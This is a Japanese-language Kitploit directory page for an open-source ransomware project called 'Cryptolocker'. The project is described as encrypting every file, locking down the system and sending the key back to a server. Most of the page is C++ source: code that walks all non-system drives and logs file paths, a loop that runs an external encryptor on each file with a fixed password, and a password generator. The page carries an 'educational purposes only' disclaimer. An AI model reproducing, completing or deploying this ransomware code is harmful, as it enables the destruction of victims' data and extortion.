Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Cryptolocker — CryptoLockerは、オープンソースのファイル暗号化ツールです。CryptoはVisual C++で開発されています。すべてのファイルを暗号化し、システムをロックダウンして、鍵をサーバーに送り返す機能があります。マルチスレッド機能により、このツールの暗号化が高速化されます。 | Kitploit
ツール/GitHubGitHub/ajayrandhawa/cryptolocker
暗号化/復号化ツールマルウェア分析学習と教育
GitHubajayrandhawa/cryptolocker

Cryptolocker

CryptoLockerは、オープンソースのファイル暗号化ツールです。CryptoはVisual C++で開発されています。すべてのファイルを暗号化し、システムをロックダウンして、鍵をサーバーに送り返す機能があります。マルチスレッド機能により、このツールの暗号化が高速化されます。

リポジトリを見る
1435529日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

免責事項 : 私たちのツールは教育目的のみです。違法行為には使用しないでください。あなただけが自分の行動に対して責任を負います!私たちのツールはオープンソースであり、保証はなく、現状のまま提供されています。

𝚅𝚒𝚜𝚒𝚝𝚘𝚛𝚜

Cryptolocker

CryptoはオープンソースのCrypto-Lockerです。Visual C++で開発されています。すべてのファイルを暗号化し、システムをロックダウンし、キーをサーバーに送り返す機能があります。マルチスレッド機能により、このツールの暗号化を高速化します。

強力な256ビット暗号化アルゴリズムを使用しており、一度ファイルが暗号化されると、パスワードなしではファイルは完全に使用できなくなります。単純に読み取ることはできません。

機能

  1. 強力なAES暗号化(破られない)
  2. システムロックダウン機能
  3. マルチスレッド暗号化
  4. 強力なWeb管理インターフェース

Step 1 (ファイルの取得)

暗号化のためにすべてのドライブからすべてのファイルを取得します。

以下は、Visual C++プログラムで、ドライブ内のすべてのディレクトリとファイルのリストを取得し、後で暗号化に使用するためにパスをテキストファイルに保存するものです。Boost C++ライブラリを使用してすべてのファイルリストを取得しています。コンパイルするには、最初にBoostライブラリをセットアップしてください。

root@kitploit:~
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>

using namespace std;

fstream out_file("data.txt", ios::out);

#define MAX 256

int main(int argc, char* argv[]) {

	int dr_type = 99;
	char dr_avail[MAX];
	char *temp = dr_avail;

	/* 1st we fill the buffer */
	GetLogicalDriveStrings(MAX, dr_avail);
	while (*temp != NULL) { // Split the buffer by null
		dr_type = GetDriveType(temp);

		char skip[10] = "C:\\";

		if (dr_type == 3 && temp[0] != 'C') {

			boost::system::error_code dir_error;

			for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
				if (dir_error.value()) {
					cerr << "Error accessing file: " << dir_error.message() << endl;
				}
				else {
					cout << dir->path() << endl;
					out_file << dir->path() << "\n";
				}
			}
		}
		temp += lstrlen(temp) + 1;
	}
	out_file.close();
	system("pause");
	

Step 2 (ファイルの暗号化)

まず、"data.txt"からファイルパスを1行ずつ取得し、暗号化タイプとパスワードと一緒にこの暗号化ツールに送信します。また、このプログラム全体を上位のループに組み込んで、パスの取得とデータの再帰的な暗号化を行うこともできます。

root@kitploit:~
out_file.open("data.txt", ios::in);
	string line;
	while (out_file.good()) {
		getline(out_file, line);
		cout << line << endl;
		std::string cmmd = "crpt.exe -e -p 4321 ";
		cmmd += line;
		system(cmmd.c_str());
	}

Step 3 (複雑な長いパスワードを生成する関数)

長さを関数に渡すと、関数が複雑な長い生成パスワードを返します。これを暗号化に使用できます。

root@kitploit:~
string RandomString(int len)
{
	srand(time(0));
	string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
	string newstr;
	int pos;
	while (newstr.size() != len) {
		pos = ((rand() % (str.size() - 1)));
		newstr += str.substr(pos, 1);
	}
	return newstr;
}

現在開発中....

ハッピーサイバーセキュリティ.....ハッピーオープンソース.......

:)

ツールをダウンロード